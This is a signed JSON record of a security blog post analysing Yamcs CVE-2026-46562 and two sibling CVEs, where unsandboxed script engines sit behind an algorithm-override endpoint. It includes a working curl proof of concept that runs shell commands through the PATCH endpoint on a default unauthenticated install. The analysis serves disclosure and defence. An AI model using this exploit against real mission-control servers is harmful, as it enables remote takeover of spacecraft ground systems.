-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The PATCH endpoint that reaches the eval\n\nThe disclosed entry point is `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name}`. The route is defined in `yamcs-api/src/main/proto/yamcs/protobuf/processing/mdb_override_service.proto`:\n\n```proto\nrpc UpdateAlgorithm(UpdateAlgorithmRequest) returns (google.protobuf.Empty) {\n option (yamcs.api.route) = {\n patch: \"/api/mdb-overrides/{instance}/{processor}/algorithms/{name*}\"\n body: \"*\"\n };\n}\n```\n\nThe request body is `UpdateAlgorithmRequest`, which carries an `AlgorithmInfo` whose `text` field is a string. The handler is `MdbOverrideApi.updateAlgorithm`:\n\n```java\nctx.checkSystemPrivilege(SystemPrivilege.ChangeMissionDatabase);\nProcessor processor = ProcessingApi.verifyProcessor(\n request.getInstance(), request.getProcessor());\nList l = processor.getServices(AlgorithmManager.class);\n...\nAlgorithmInfo ai = request.getAlgorithm();\n...\nalgMng.overrideAlgorithm(calg, ai.getText());\n```\n\n`AlgorithmManager.overrideAlgorithm` clones the algorithm definition, replaces its text with the request body, and asks the language-appropriate factory for an executor:\n\n```java\npublic void overrideAlgorithm(CustomAlgorithm calg, String text) {\n ...\n AlgorithmExecutorFactory factory = getFactory(calg, globalCtx);\n algOverr = calg.copy();\n algOverr.setAlgorithmText(text);\n ...\n AlgorithmExecutor executor = factory.makeExecutor(algOverr, globalCtx);\n```\n\nFor a JavaScript algorithm, the factory is `ScriptAlgorithmExecutorFactory`. Its `makeExecutor` method calls `scriptEngine.eval(functionScript)` on the engine the constructor produced:\n\n```java\nscriptEngine.put(ScriptEngine.FILENAME, calg.getQualifiedName());\nscriptEngine.eval(functionScript);\n```\n\nThe `functionScript` is the algorithm body wrapped in a JavaScript function declaration. The wrapper does not parse, sanitize, or restrict the body. `Java.type(\"java.lang.Runtime\").getRuntime().exec(...)` inside the body resolves at evaluation time. The full Java reflection surface is reachable from the attacker's JavaScript.\n\nA single curl is enough:\n\n```bash\ncurl -X PATCH http://target:8090/api/mdb-overrides/myproject/realtime/algorithms/MyAlg \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"action\": \"SET\",\n \"algorithm\": {\n \"text\": \"Java.type(\\\"java.lang.Runtime\\\").getRuntime().exec([\\\"/bin/sh\\\", \\\"-c\\\", \\\"id > /tmp/yamcs-rce\\\"]);\"\n }\n }'\n```\n\nThe algorithm is overridden. The eval runs as the OS user running Yamcs. Mission control software typically runs as a long-lived service account with read access to flight credentials, command signing keys, and the file system holding the mission database.\n\n## The default install is unauthenticated superuser\n\n`updateAlgorithm` requires `SystemPrivilege.ChangeMissionDatabase`. In a default Yamcs install, every request has it. `SecurityStore.java` builds a guest user from this spec:\n\n```java\nguestSpec.addOption(\"superuser\", OptionType.BOOLEAN).withDefault(true);\n```\n\nAnd only enables the security subsystem when a `security.yaml` configuration file exists:\n\n```java\nboolean securityConfigured = YConfiguration.isDefined(\"security\");\nspec.addOption(\"enabled\", OptionType.BOOLEAN).withDefault(securityConfigured);\n```\n\nWhen the security subsystem is disabled, `setActive(!enabled)` activates the guest user, and the guest user is a superuser:\n\n```java\nguestUser.setActive(!enabled);\n...\nguestUser.setSuperuser(guestConfig.getBoolean(\"superuser\"));\n```\n\nA superuser passes every `checkSystemPrivilege` call. `ChangeMissionDatabase` resolves to true. The PATCH succeeds without a session token, an Authorization header, or an account in the directory. The disclosure's `CVSS:3.1/AV:N/PR:N` for a default install is not aggressive; it is what the code does.\n\n## When the primitive became reachable from the network\n\nThe Nashorn engine constructed without a ClassFilter has existed in Yamcs since commit `d531e4b12` in December 2017. For roughly three and a half years it was reachable only through the local XTCE algorithm definitions on disk and through algorithm libraries loaded at startup from operator-owned files. The threat model was operator-supplied files, the same model Yamcs uses for every other configuration artifact.\n\nIn April 2021, commit `2d12839b` \"Add UI for modifying algorithm text\" introduced `MdbOverrideApi.updateAlgorithm`. The commit added 304 lines across the protobuf, the HTTP API, the Angular detail page, and the TypeScript client. It did not add a sandbox to the script engine. It took an interpreter whose threat model was the file system and put a REST PATCH endpoint in front of it.\n\nThe same maintainer who wrote that commit wrote the 2026 fix. The five years and twenty-three days between the API's arrival and the disclosure are how long the algorithm interpreter ran with two threat models stacked on top of one another and only the inner one considered.\n\n## One commit. Three CVEs. Three eval primitives.\n\nCommit `4ff8fda` on May 2, 2026 carries this body:\n\n```\nDisable algorithm edit\n\nWhen used in an uncontrolled environment this capability\ncould be exploited for RCE.\n\nGHSA-524g-x36v-9wm6\nCVE-2026-44632\n\nGHSA-2g95-6x5q-xjwj\nCVE-2026-46621\n\nGHSA-vmwp-vh32-rj75\nCVE-2026-46562\n```\n\nThree CVEs, three different interpreters. CVE-2026-46562 is the Nashorn engine in `ScriptAlgorithmExecutorFactory`. CVE-2026-44632 is the Janino compiler in `JavaExprAlgorithmExecutionFactory`, where `SimpleCompiler.cook(code)` compiles attacker-supplied Java source directly into a `ClassLoader` and the next line resolves the compiled class by name:\n\n```java\nSimpleCompiler compiler = new SimpleCompiler();\ncompiler.cook(code);\nClass cexprClass = (Class) compiler\n .getClassLoader()\n .loadClass(\"org.yamcs.algorithms.javaexpr.\" + className);\n```\n\nCVE-2026-46621 is the Jython engine, reached through the same JSR-223 `ScriptEngine` API that hosts Nashorn. Three languages. Three primitives. None of them holds a sandbox.\n\nThe fix in `4ff8fda` is the same for all three: a single new flag on the processor configuration.\n\n```diff\n+ if (!processor.getConfig().isOverrideAlgorithmsEnabled()) {\n+ throw new MethodNotAllowedException(\"Capability to update algorithms is not enabled\");\n+ }\n```\n\n`overrideAlgorithmsEnabled` is added to `ProcessorConfig.java` with a default of `false`. No interpreter constructor in `4ff8fda` accepts a sandbox argument it did not accept before. The three eval primitives are untouched. The patch closes the API. It does not close the eval.\n\n## The 2022 commit that kept Nashorn alive\n\nIn April 2022, commit `c3e7039e5` rewrote the exact constructor in `ScriptAlgorithmExecutorFactory.java` that produces the Nashorn engine. Its commit message:\n\n> Yamcs support of JDK15+ was stalled due to Nashorn being removed as a built-in to JDK. The alternative solution on JDK15+ is to use Nashorn from the classpath, however this was causing issues with JDK 1.8-10. Dropping Nashorn is not an option (it is used for algorithm scripts), so this commit removes support for JDK 1.8 to 10.\n\nThe before-line was `scriptEngine = scriptEngineManager.getEngineByName(language);`. The after-lines are:\n\n```java\nScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()\n .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())\n && candidate.getNames().contains(language))\n .findFirst()\n .orElse(null);\n\nif (factory != null) {\n scriptEngine = factory.getScriptEngine();\n```\n\nThe 2022 commit was authored four years before the disclosure, by the same maintainer who would later sign `4ff8fda`. Its purpose was explicitly to keep Nashorn alive past its JDK removal. The factory in its hand on the last line of that diff is `NashornScriptEngineFactory`. The class's public API has carried `getScriptEngine(ClassFilter)` since JDK 8 was released on March 18, 2014; the JavaDoc names the overload as the way to restrict which Java types scripts can reach.\n\nThe 2022 commit went out of its way to keep Nashorn alive across JDK 17. It did not add the ClassFilter overload that has existed since JDK 8.\n\n## The vendor's documentation now says \"inherent risk\"\n\nThe same `4ff8fda` commit adds a new paragraph to `processor-configuration.rst`:\n\n```\noverrideAlgorithmsEnabled (boolean)\n If set to true, users with ChangeMissionDatabase system privilege\n can update an algorithm script at runtime.\n\n .. warning::\n This is disabled by default to avoid the inherent risk of\n Remote Code Execution (RCE).\n\n Default: false\n```\n\n\"Inherent risk of Remote Code Execution.\" The phrase is the vendor's. The framing is not \"we patched it.\" The framing is \"we cannot make it safe within this design, so we are taking it off by default.\" That is a fair description of what the diff does. It is also an acknowledgement that operators who need the feature to do their job, mission control teams who modify algorithms in flight to handle on-orbit anomalies, the use case that justified adding the API in the 2021 commit, recover the feature by re-enabling the flag and recover the bug with it.\n\nThe disclosure timeline is itself worth one line. Commit `4ff8fda` is dated May 2, 2026. The GHSA advisory for CVE-2026-46562 was published May 21, 2026 and credited an outside researcher carrying the handle `2BCEB1`. The maintainer who wrote the 2021 API commit, the 2022 Nashorn-preservation commit, and the 2026 fix commit did not file the disclosure on the engine they had personally rewritten four years earlier. The reporter did.\n\n## What the patch is, and what it is not\n\nThis is the [unpatchable-primitive](/patterns/unpatchable-primitive) shape at its clearest. The bug class is the design's purpose. The component evaluates operator-supplied scripts because the system exists to let operators react to spacecraft in real time. Removing the primitive means removing the reason `MdbOverrideApi` exists at all. The patch does the next best thing: it makes the API unreachable in the default configuration. The eval primitive on the other side of the flag has not changed.\n\nIt is also [safe-mode-was-opt-in](/patterns/safe-mode-was-opt-in) in its most expensive form. Nashorn's `getScriptEngine(ClassFilter)` exists. The WPCode plugin's [custom capability system was never bound to the post type that gated PHP eval](/posts/wpcode-cve-2026-8832-custom-caps-not-on-the-cpt); the safe alternative was sitting in the same plugin, three files away from the unsafe sink. Yamcs is the same shape stretched across a JDK boundary. The safe alternative is in the JDK itself, eleven years old, one constructor argument away from the line Yamcs has been calling since December 2017. The disclosure of three CVEs in May 2026 was an opportunity to switch overloads. The maintainer chose to disable the API instead. Yamcs's own code is still reaching for the factory helper the JDK has been documenting as unsafe for over a decade.\n\nPoC: [advisories/GHSA-vmwp-vh32-rj75](https://github.com/advisories/GHSA-vmwp-vh32-rj75)","closing_line":"The patch closes the path. The eval does not move.","hook_md":"Yamcs is mission control software, written and maintained in Java by Space Applications Services. Spacecraft commanding, telemetry processing, alarm management; the service that ingests packets from a satellite is the service that sends commands to it. Its `ScriptAlgorithmExecutorFactory.java` constructor obtains a Nashorn `ScriptEngine` by calling `factory.getScriptEngine()`. The Nashorn class on Yamcs's classpath has shipped a `getScriptEngine(ClassFilter)` overload since JDK 8 in March 2014. The patch for CVE-2026-46562, dated May 2, 2026, did not change which overload Yamcs calls.","post_id":516,"slug":"yamcs-cve-2026-46562-nashorn-without-classfilter","title":"CVE-2026-46562: Yamcs's Nashorn Has Never Had a ClassFilter. The Patch Did Not Add One.","type":"initial","unreadable_sentence":"The 2022 commit went out of its way to keep Nashorn alive across JDK 17. It did not add the ClassFilter overload that has existed since JDK 8."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCawXSRgAKCRDeZjl4jgkQ JuKfAP4zlcegN3b/ytmYSG3qFt6umOi93kSrTqiYZj1DPX3xKAD8DzcLWij+Is+k UNOjHxuEbz8Lcr8AXCT2athLlWbO+wY= =xPX7 -----END PGP SIGNATURE-----